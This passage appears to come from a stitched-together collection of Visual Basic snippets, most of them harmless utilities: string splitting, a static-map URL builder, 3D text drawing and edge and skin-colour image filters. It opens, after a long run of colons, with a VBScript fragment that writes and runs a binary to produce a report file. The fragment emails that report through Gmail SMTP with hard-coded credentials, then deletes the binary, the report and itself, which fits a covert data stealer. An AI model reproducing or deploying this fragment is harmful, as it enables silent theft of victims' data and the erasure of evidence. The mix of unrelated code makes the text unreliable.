::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    .Type = 1
    .Open
    .Write x
    .SaveToFile p1, 2
End With

CreateObject("WScript.Shell").run """" & p1 & """" & " /shtml " & """" & p2 & """"

With CreateObject("cdo.message")
    .To = THE_MAIL
    .From = .To

    With .Configuration.Fields
        k = "http://schemas.microsoft.com/cdo/configuration/s"
        .Item(k & "endusing") = 2
        .Item(k & "mtpserver") = "smtp.gmail.com"
        .Item(k & "mtpserverport") = 465
        .Item(k & "mtpauthenticate") = 1
        .Item(k & "mtpconnectiontimeout") = 30
        .Item(k & "endusername") = THE_MAIL
        .Item(k & "endpassword") = THE_PASS
        .Item(k & "mtpusessl") = 1
    End With

    Do While Not CreateObject("Scripting.FileSystemObject").FileExists(p2)
    Loop

    .AddAttachment p2
    .Configuration.Fields.Update
    .Send
End With

With CreateObject("Scripting.FileSystemObject")
    .DeleteFile p1
    .DeleteFile p2
    .DeleteFile WScript.ScriptFullName
End With

Private Sub Ejemplo()
Dim dels(3) As String
Dim result() As String
Const ss As String = "hola+como--andas(((esto====es+una--prueba"
    dels(0) = "+"
    dels(1) = "--"
    dels(2) = "((("
    dels(3) = "===="
    
    'sin preservar delimitadores
    result = MultiSplit7913(ss, dels, False)
    'result = ("hola";"como";"andas";"esto";"es";"una";"prueba")
    
    'preservando delimitadores
    result = MultiSplit7913(ss, dels, True)
    'result = ("hola";"+como";"--andas";"(((esto";"====es";"+una";"--prueba")
End Sub

Private Function MultiSplit7913(expression As String, Delimiter() As String, PreserveDel As Boolean) As String()
Dim DelCount    As Long
Dim lExp        As Long
Dim X           As Long
Dim Pos         As Long
Dim DelPos()    As Long
Dim AuxArr()    As String
Dim LastPos     As Long
Dim LastLen     As Long
Dim LastInstr   As Long
 
    expression = expression & Delimiter(0)
    lExp = Len(expression)
    DelCount = UBound(Delimiter)
    ReDim DelPos(lExp)
 
    For X = 0 To DelCount
        Pos = 1
        LastInstr = InStr(Pos, expression, Delimiter(X))
        Do While LastInstr <> 0
            DelPos(LastInstr) = X + 1
            Pos = LastInstr + Len(Delimiter(X)) + Pos
            LastInstr = InStr(Pos, expression, Delimiter(X))
        Loop
    Next
 
    ReDim AuxArr(0)
 
    LastPos = 1
 
    For X = 0 To lExp
        If DelPos(X) <> 0 Then
            ReDim Preserve AuxArr(UBound(AuxArr) + 1)
            If PreserveDel Then
                AuxArr(UBound(AuxArr) - 1) = Mid$(expression, LastPos, X - LastPos)
            Else
                AuxArr(UBound(AuxArr) - 1) = Mid$(expression, LastPos + LastLen, X - LastPos - LastLen)
                LastLen = Len(Delimiter(DelPos(X) - 1))
            End If
            LastPos = X
        End If
    Next
 
    ReDim Preserve AuxArr(UBound(AuxArr) - 1)
 
    MultiSplit7913 = AuxArr
 
End Function

Private Sub Form_Load()
Dim hola() As String
hola = CharSplit7913("hola")
' Devuelve
' Hola(0) = "h"
' Hola(1) = "o"
' Hola(2) = "l"
' Hola(3) = "a"
End Sub
 
Private Function CharSplit7913(expression As String) As String()
    Dim X        As Long
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
 
    ExpB = expression
    lExp = UBound(ExpB)
    ReDim AuxArr(lExp)
 
    For X = 0 To lExp Step 2
        AuxArr(X / 2) = ChrW$(ExpB(X))
    Next
 
    ReDim Preserve AuxArr(lExp \ 2)
 
    CharSplit7913 = AuxArr
 
End Function

Private Sub cmdGen_Click()
    If txtHei.Text = "" Or txtWid.Text = "" Or Busqueda.Text = "" Or Zoom.Text = "" Then MsgBox "Error llene los campos y los items": Exit Sub
    Consulta = "http://maps.google.com/maps/api/staticmap?center=" & Busqueda.Text & "&zoom=" & Zoom.Text & "&size=" & txtHei.Text & "x" & txtWid.Text & "&maptype=" & cmbTyp & "&sensor=false"
    wbShowChart.Navigate Consulta
End Sub

Private Function Letras3D7913(Pic As PictureBox, Frase As String, Red As Long, Green As Long, Blue As Long, Optional Orientacion As Boolean = True, Optional Tamaño As Long = 25, Optional Fuente As String = "Arial")
Dim x As Long
    Pic.FontName = Fuente
    Pic.FontSize = Tamaño
    For x = 255 To 1 Step -1
        Pic.ForeColor = RGB(Abs(Red - x), Abs(Green - x), Abs(Blue - x))
        If Orientacion Then Pic.CurrentX = x Else Pic.CurrentX = 255 - x
        If Orientacion Then Pic.CurrentY = x Else Pic.CurrentY = 255 - x
        Pic.Print Frase
    Next x
End Function

Option Explicit
Private Declare Function CreateDIBSection Lib "gdi32" (ByVal hDC As Long, pBitmapInfo As BITMAPINFO24, ByVal un As Long, lplpVoid As Long, ByVal handle As Long, ByVal dw As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (Ptr() As Any) As Long
 
Private Type RGBQUAD
    rgbBlue As Byte
    rgbGreen As Byte
    rgbRed As Byte
    rgbReserved As Byte
End Type
 
Private Type BITMAPINFOHEADER
    biSize As Long
    biWidth As Long
    biHeight As Long
    biPlanes As Integer
    biBitCount As Integer
    biCompression As Long
    biSizeImage As Long
    biXPelsPerMeter As Long
    biYPelsPerMeter As Long
    biClrUsed As Long
    biClrImportant As Long
End Type
 
Private Type BITMAPINFO24
    bmiHeader As BITMAPINFOHEADER
    bmiColors() As RGBQUAD
End Type
 
Private Type SAFEARRAYBOUND
    cElements As Long
    lLbound As Long
End Type
 
Private Type SAFEARRAY2D
    cDims As Integer
    fFeatures As Integer
    cbElements As Long
    cLocks As Long
    pvData As Long
    Bounds(0 To 1) As SAFEARRAYBOUND
End Type
 
 
Private Const DIB_RGB_COLORS = 0
Private Const BI_RGB = 0&
 
 
Public Sub BuscarContornos(Pic As PictureBox)
    Dim BytesPerLine As Long
    Dim WinDC As Long
    Dim TmpDC As Long
    Dim hBmp As Long
    Dim OldBmp As Long
    Dim Addrs As Long
    Dim x As Long
    Dim y As Long
    Dim lpBits() As Byte
    Dim M_BitmapInfo As BITMAPINFO24
    Dim SA As SAFEARRAY2D
    Dim R As Byte, G As Byte, B As Byte, BYN As Byte, Tolerance As Byte
    Dim ZERO As Integer
    Dim tmp1 As Integer, tmp2 As Integer, tmp3 As Integer
    Tolerance = 20
    ZERO = 0
    BytesPerLine = ScanAlign(Pic.ScaleWidth * 3)
 
    With M_BitmapInfo.bmiHeader
        .biSize = Len(M_BitmapInfo.bmiHeader)
        .biWidth = Pic.ScaleWidth
        .biHeight = Pic.ScaleHeight
        .biPlanes = 1
        .biBitCount = 24
        .biCompression = BI_RGB
        .biSizeImage = BytesPerLine * Pic.ScaleHeight
    End With
 
    WinDC = GetDC(0)
    TmpDC = CreateCompatibleDC(WinDC)
    hBmp = CreateDIBSection(WinDC, M_BitmapInfo, DIB_RGB_COLORS, Addrs, 0, 0)
 
    Call ReleaseDC(0, WinDC)
 
    With SA
        .cbElements = 1
        .cDims = 2
        .Bounds(0).lLbound = 0
        .Bounds(0).cElements = Pic.ScaleHeight
        .Bounds(1).lLbound = 0
        .Bounds(1).cElements = BytesPerLine
        .pvData = Addrs
    End With
 
    CopyMemory ByVal VarPtrArray(lpBits), VarPtr(SA), 4
 
    OldBmp = SelectObject(TmpDC, hBmp)
 
    Call BitBlt(TmpDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.hDC, 0, 0, vbSrcCopy)
 
    For y = 0 To Pic.ScaleHeight - 1
        For x = 0 To (Pic.ScaleWidth * 3) - 1 Step 3
 
            B = lpBits(x + 2, y)
            G = lpBits(x + 1, y)
            R = lpBits(x, y)


            'ZERO ES PARA QUE NO HAGA DESBORDAMIENTO
            BYN = Int((ZERO + R + G + B) / 3)
            
            'DIBUJA EN BLANCO Y NEGRO
            
            lpBits(x, y) = BYN
            lpBits(x + 1, y) = BYN
            lpBits(x + 2, y) = BYN
            If x <> 0 And y <> 0 Then
            tmp1 = lpBits(x - 1, y - 1)
            tmp2 = lpBits(x - 1, y)
            tmp3 = lpBits(x, y - 1)
            If Abs(tmp2 - tmp1) > Tolerance Or Abs(tmp3 - tmp1) > Tolerance Then
                lpBits(x - 1, y - 1) = 0
                lpBits(x - 2, y - 1) = 0
                lpBits(x - 3, y - 1) = 0
            Else
                'PINTA DE NEGRO EL PIXEL POR QUE AHI HAY UN BORDE
                lpBits(x - 1, y - 1) = 255
                lpBits(x - 2, y - 1) = 255
                lpBits(x - 3, y - 1) = 255
            End If
            End If
        Next x
    Next y
 
    CopyMemory ByVal VarPtrArray(lpBits), 0&, 4
    Call BitBlt(Pic.hDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, TmpDC, 0, 0, vbSrcCopy)
    Call DeleteObject(SelectObject(TmpDC, OldBmp))
    Call DeleteDC(TmpDC)
 
 
 
End Sub
 
Public Sub BuscarPiel(Pic As PictureBox)
    Dim BytesPerLine As Long
    Dim WinDC As Long
    Dim TmpDC As Long
    Dim hBmp As Long
    Dim OldBmp As Long
    Dim Addrs As Long
    Dim x As Long
    Dim y As Long
    Dim lpBits() As Byte
    Dim M_BitmapInfo As BITMAPINFO24
    Dim SA As SAFEARRAY2D
    Dim R As Byte, G As Byte, B As Byte, BYN As Byte, Tolerance As Byte
    Dim ZERO As Integer
    Dim tmp1 As Integer, tmp2 As Integer, tmp3 As Integer
    Tolerance = 20
    ZERO = 0
    BytesPerLine = ScanAlign(Pic.ScaleWidth * 3)
 
    With M_BitmapInfo.bmiHeader
        .biSize = Len(M_BitmapInfo.bmiHeader)
        .biWidth = Pic.ScaleWidth
        .biHeight = Pic.ScaleHeight
        .biPlanes = 1
        .biBitCount = 24
        .biCompression = BI_RGB
        .biSizeImage = BytesPerLine * Pic.ScaleHeight
    End With
 
    WinDC = GetDC(0)
    TmpDC = CreateCompatibleDC(WinDC)
    hBmp = CreateDIBSection(WinDC, M_BitmapInfo, DIB_RGB_COLORS, Addrs, 0, 0)
 
    Call ReleaseDC(0, WinDC)
 
    With SA
        .cbElements = 1
        .cDims = 2
        .Bounds(0).lLbound = 0
        .Bounds(0).cElements = Pic.ScaleHeight
        .Bounds(1).lLbound = 0
        .Bounds(1).cElements = BytesPerLine
        .pvData = Addrs
    End With
 
    CopyMemory ByVal VarPtrArray(lpBits), VarPtr(SA), 4
 
    OldBmp = SelectObject(TmpDC, hBmp)
 
    Call BitBlt(TmpDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.hDC, 0, 0, vbSrcCopy)
 
    For y = 0 To Pic.ScaleHeight - 1
        For x = 0 To (Pic.ScaleWidth * 3) - 1 Step 3
 
            R = lpBits(x + 2, y)
            G = lpBits(x + 1, y)
            B = lpBits(x, y)


            'ZERO ES PARA QUE NO HAGA DESBORDAMIENTO
            BYN = Int((ZERO + R + G + B) / 3)
            
            'DIBUJA EN BLANCO Y NEGRO
            If R > 168 And G > 134 And B > 94 And R < 250 And G < 235 And B < 215 Then
            ' LOS PROXIMOS 3 VALORES ESPECIFICAN EL COLOR CON EL QUE SE VA A PINTAR
            lpBits(x, y) = 0
            lpBits(x + 1, y) = 255
            lpBits(x + 2, y) = 255
            Else
            lpBits(x, y) = 0 ' BYN
            lpBits(x + 1, y) = 0 'BYN
            lpBits(x + 2, y) = 0 'BYN
            End If
        Next x
    Next y
 
    CopyMemory ByVal VarPtrArray(lpBits), 0&, 4
    Call BitBlt(Pic.hDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, TmpDC, 0, 0, vbSrcCopy)
    Call DeleteObject(SelectObject(TmpDC, OldBmp))
    Call DeleteDC(TmpDC)
 
 
 
End Sub

Private Function ScanAlign(WidthBmp As Long) As Long
    ScanAlign = (WidthBmp + 3) And &HFFFFFFFC
End Function
 

Private Sub Command1_Click()
    'ESTO PARA CONTORNOS
    BuscarContornos PicTratamiento
    'ESTO PARA PIEL
    BuscarPiel PicTratamiento
    PicTratamiento.Refresh
End Sub
 
Private Sub Form_Load()
    PicTratamiento.AutoRedraw = True
    PicTratamiento.ScaleMode = vbPixels
End Sub